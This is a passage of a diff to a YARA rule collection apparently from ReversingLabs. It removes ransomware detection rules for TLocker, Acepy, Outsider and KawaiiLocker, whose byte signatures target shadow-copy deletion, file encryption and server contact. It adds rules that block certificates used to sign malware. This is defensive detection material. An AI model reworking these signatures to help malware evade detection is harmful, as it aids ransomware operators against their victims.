?? ?? ?? ?? 53 8B F0 FF D7 85 F6 74 06 8B 55 ?? 52 FF D7 8B 75 ?? 8B 0D ?? ?? ?? ?? 33 C0 83 7D ?? ?? 56 - 0F 94 C0 6A ?? 51 8B F8 FF 15 ?? ?? ?? ?? 85 FF 75 10 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 9E FE FF FF 5F 5E 5B 8B E5 5D - C3 - } - $tlocker_contact_server_2_1 = { - 55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D - ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ?? - 8B 4D ?? 8D 55 ?? 52 6A ?? BF ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 E5 01 00 00 BF ?? - ?? ?? ?? 39 3D ?? ?? ?? ?? 74 11 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B - 9E ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50 - 8D 4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56 - FF 15 ?? ?? ?? ?? 8B 45 ?? 53 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ?? - ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ?? - ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 EB 06 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? - } - $tlocker_contact_server_2_2 = { - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B D8 FF D6 85 DB 74 06 8B 55 ?? 52 FF D6 8B 75 ?? 33 C0 83 7D ?? ?? 0F 94 C0 8B F8 85 - FF 74 18 8B 0D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB 5E 8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 75 - 34 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B D1 41 89 0D ?? ?? ?? ?? 85 D2 7E 71 8B 0D ?? ?? ?? ?? 3B C1 73 08 8B C8 89 0D - ?? ?? ?? ?? 2B C1 3D ?? ?? ?? ?? 72 1C A1 ?? ?? ?? ?? 40 83 F8 ?? 7E 05 A1 ?? ?? ?? ?? 8B C8 A3 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 81 3D ?? ?? ?? ?? ?? ?? ?? ?? 75 0B 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 85 - FF 75 17 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 E5 FD FF FF A3 ?? ?? ?? ?? EB BF 5F 5E 5B 8B E5 5D C3 - } - $tlocker_get_server_data = { - 55 8B EC 83 EC ?? 56 57 33 FF 57 57 8D 45 ?? 50 53 33 F6 FF 15 ?? ?? ?? ?? 85 C0 74 77 8D 49 ?? 8B 4D ?? 03 CF 85 F6 75 - 73 33 C0 85 C9 74 0F 8B 15 ?? ?? ?? ?? 51 50 52 FF 15 ?? ?? ?? ?? 33 C9 85 C0 0F 95 C1 8B F0 8B C1 85 C0 74 33 8B 55 ?? - 8D 4D ?? 51 52 8D 04 37 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 1C 8B 45 ?? 85 C0 74 ?? 6A ?? 6A ?? 8D 4D ?? 51 53 03 F8 FF 15 - ?? ?? ?? ?? 85 C0 75 A0 85 F6 74 10 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 33 C0 5E 8B E5 5D C3 - } - $tlocker_remove_shadow_copies = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 57 6A ?? 33 FF 57 50 FF 15 ?? ?? ?? ?? 8B D8 - 3B DF 0F 84 DC 00 00 00 56 8D B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 5E B8 ?? ?? ?? ?? 8B D3 2B D0 0F B7 08 66 89 0C - 02 83 C0 ?? 66 3B CF 75 F1 6A ?? 8D 95 ?? ?? ?? ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? - 51 8D 95 ?? ?? ?? ?? 52 57 68 ?? ?? ?? ?? 57 57 57 53 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 0F FF - 15 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B F8 83 BD ?? ?? ?? ?? ?? 74 0B 8B B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 - 6A ?? 50 FF 15 ?? ?? ?? ?? 5E 8B C7 5F 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 5F 33 CD B8 ?? ?? ?? ?? 5B - E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $tlocker_find_files = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 0D ?? ?? ?? ?? 8B 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 F6 56 51 - 89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 AD 01 00 00 53 56 56 6A ?? 56 FF 15 ?? ?? ?? ?? - 85 C0 0F 88 89 01 00 00 68 ?? ?? ?? ?? 53 53 FF 15 ?? ?? ?? ?? 8B C3 8D 50 ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85 - C9 75 F5 2B C2 D1 F8 8B F8 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 4D 01 00 00 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 15 01 00 00 F6 85 ?? ?? ?? ?? ?? 0F 84 EC 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 - 83 D8 ?? 85 C0 0F 84 AE 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 - 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 74 74 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF - 66 8B 08 83 C0 ?? 66 85 C9 75 F5 2B C2 D1 F8 03 C7 8D 44 00 ?? 85 C0 74 6C 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? - 8B F0 85 F6 74 57 53 8D 4F ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 56 56 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF - 15 ?? ?? ?? ?? 85 C0 0F 85 EB FE FF FF 8B 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? - ?? 8B 15 ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $tlocker_ep and $tlocker_get_server_data and $tlocker_remove_shadow_copies and $tlocker_find_files ) and ( $tlocker_contact_server_1 or ( $tlocker_contact_server_2_1 and $tlocker_contact_server_2_2 ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:98:ab:95:85:c0:4d:7f:0e:4c:f4:de:98:c1:4b:68:4d" or pe.signatures [ i ] . serial == "98:ab:95:85:c0:4d:7f:0e:4c:f4:de:98:c1:4b:68:4d" ) and 1656547200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Acepy : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4631713E66E91347F0388B98Cf747794 : INFO FILE { meta: - description = "Yara rule that detects Acepy ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3ffb45b1-6bde-5bf8-957e-433b9488ba91" - date = "2022-08-04" - modified = "2022-08-04" + id = "6c541522-98ab-5acb-af84-c005c9721e1f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Acepy.yara#L1-L69" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12462-L12478" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "92c543a0b8c3c884f83647119d32c7b46f5fe839694bb8a8de0146c5c77bc587" + logic_hash = "cb517cda67150b7e17ee3bd946903e8e8eca81742a362032249a2f2387e71c50" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Acepy" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ?? - 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ?? ?? - 83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? - E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 - 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? - ?? ?? B8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files = { - 55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? - ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 40 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? B8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 39 C8 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? - 8B 45 ?? 89 C1 40 89 45 ?? EB ?? 8B 45 ?? 8B 4D ?? 01 C1 8B 45 ?? 8B 55 ?? 01 C2 8B - 45 ?? 50 89 4D ?? 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 31 D2 - F7 F1 8B 45 ?? 01 D0 8B 4D ?? 0F BE 09 0F BE 10 31 D1 8B 45 ?? 88 08 EB ?? B8 ?? ?? - ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 B9 ?? ?? ?? ?? 51 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C9 C3 - } - $drop_ransom_note = { - 55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? - ?? ?? B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 50 B8 ?? ?? ?? ?? 50 B8 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? - ?? ?? C9 C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xB9\\xBF\\xE5\\xB7\\x9E\\xE6\\x98\\x8A\\xE5\\x8A\\xA8\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "46:31:71:3e:66:e9:13:47:f0:38:8b:98:cf:74:77:94" and 1488240000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_E963F8983D21B4C1A69C66A9D37498E5 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "4cbc6cc9-1795-5d43-84a1-dd835d7ef349" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12480-L12498" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "b7c715e28f003351d10ba53657e9e667b635a0e4433276d91d26f4482a61191d" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( $find_files ) and ( $encrypt_files ) and ( $drop_ransom_note ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Max Steinhard" and ( pe.signatures [ i ] . serial == "00:e9:63:f8:98:3d:21:b4:c1:a6:9c:66:a9:d3:74:98:e5" or pe.signatures [ i ] . serial == "e9:63:f8:98:3d:21:b4:c1:a6:9c:66:a9:d3:74:98:e5" ) and 1656288000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Outsider : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6E44Fcedd49F22F7A28Cecc99104F61A : INFO FILE { meta: - description = "Yara rule that detects Outsider ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "44edccb1-9e2a-5ff9-b4b5-72ceec2f7947" - date = "2020-10-23" - modified = "2020-10-23" + id = "b69a4e06-a732-5462-b2b1-bdde3fd34e31" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Outsider.yara#L1-L88" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12500-L12516" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "80c5a93b5b72b7b66e36f1726486b0c7620588d05bd925510d76f020a40b124c" + logic_hash = "caff0cbca45c0dffb673367585824783371f2f4e31a0c9629afb7de708098892" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Outsider" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? 8B D9 50 6A ?? 5E 56 FF 35 ?? ?? ?? ?? - 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 55 ?? 89 75 ?? 8B CF 2B - D7 8A 04 0A 88 01 41 83 EE ?? 75 ?? 6A ?? 8D 45 ?? 50 57 56 6A ?? 56 FF 35 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? - ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 75 ?? 89 75 ?? 53 FF 15 ?? ?? ?? ?? 8D - 04 43 83 E8 ?? 66 83 38 ?? 75 ?? FF B6 ?? ?? ?? ?? 2B C3 83 C0 ?? D1 F8 8D 04 43 50 - FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF B6 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? - 8B F0 FF 15 ?? ?? ?? ?? 3B C6 74 ?? 8B 75 ?? 83 C6 ?? 89 75 ?? 83 FE ?? 72 ?? EB ?? - C7 45 ?? ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 50 FF 15 ?? ?? ?? - ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 8B D8 33 C0 50 8D 45 ?? 50 68 ?? ?? ?? - ?? 53 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 33 C0 89 4D ?? 3B C8 76 ?? 8B F8 8B C7 25 ?? ?? - ?? ?? 79 ?? 48 83 C8 ?? 40 89 45 ?? 75 ?? 8B C7 99 83 E2 ?? 03 C2 C1 F8 ?? 99 52 50 - } - $encrypt_files_p2 = { - 51 51 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 8B 45 ?? 8A 84 05 - ?? ?? ?? ?? 30 04 1F 47 8B C7 99 85 D2 72 ?? 77 ?? 3B C1 72 ?? 8B 4D ?? 8B 7D ?? 6A - ?? F7 D9 8B C1 6A ?? 99 52 50 57 FF 15 ?? ?? ?? ?? 33 C0 50 8D 45 ?? 50 FF 75 ?? 53 - 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 53 33 - C0 50 FF D6 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 5D ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? - 50 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 50 8D - 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 50 8D 45 ?? 50 6A ?? 57 - FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 50 - FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 53 FF 15 ?? ?? ?? ?? 56 33 F6 56 FF 15 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? EB ?? 33 F6 57 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E - 5B 8B E5 5D C3 - } - $find_files = { - 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 57 68 ?? ?? ?? ?? 6A ?? FF - D3 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? - 0F 84 ?? ?? ?? ?? 8B D8 33 FF FF B7 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 83 C7 ?? 83 FF ?? 72 ?? 8D 44 24 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? - 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? - ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 59 EB ?? 8B 44 24 ?? A8 ?? 74 ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 8B CE E8 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CE E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 56 - 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $enum_resources = { - 55 8B EC 83 E4 ?? 83 EC ?? 83 0C 24 ?? 8D 44 24 ?? 53 56 57 50 FF 75 ?? C7 44 24 ?? - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? - 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? EB ?? 33 - DB 39 5C 24 ?? 76 ?? 8D 77 ?? F6 46 ?? ?? 74 ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? EB ?? FF - 36 E8 ?? ?? ?? ?? 43 83 C6 ?? 59 3B 5C 24 ?? 72 ?? 8D 44 24 ?? 50 57 8D 44 24 ?? 50 - FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? - ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "M-Trans Maciej Caban" and pe.signatures [ i ] . serial == "6e:44:fc:ed:d4:9f:22:f7:a2:8c:ec:c9:91:04:f6:1a" and 1672923378 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_35B49Ee870Aea532E6Ef0A4987105C8F : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "88dedb69-52f4-59d3-b397-6a091a866cc5" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12518-L12534" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "a9d8e9db453f40e32a0cb6412db8885db54053fdf3d7908b884361a493f97b1f" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kancelaria Adwokacka Adwokat Aleksandra Krzemi\\xC5\\x84ska" and pe.signatures [ i ] . serial == "35:b4:9e:e8:70:ae:a5:32:e6:ef:0a:49:87:10:5c:8f" and 1663151018 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Kawaiilocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_063Dcd7D7B0Bc77Cac844C7213Be3989 : INFO FILE { meta: - description = "Yara rule that detects KawaiiLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8c368e2d-3c6f-5c4b-880b-ebdb06dcf901" - date = "2020-08-17" - modified = "2020-08-17" + id = "1bf4b84b-4a32-5908-8ccb-9fce2e5944e6" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.KawaiiLocker.yara#L1-L135" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12536-L12552" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d86b41ef1c43da55869ad26facd5efdf232277f0e33483690a69a04c4ba8f7da" + logic_hash = "091d00b0731f0a3d9917eee945249f001e4b5b1b603cad2fc21eed70ec86aa99" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "KawaiiLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: 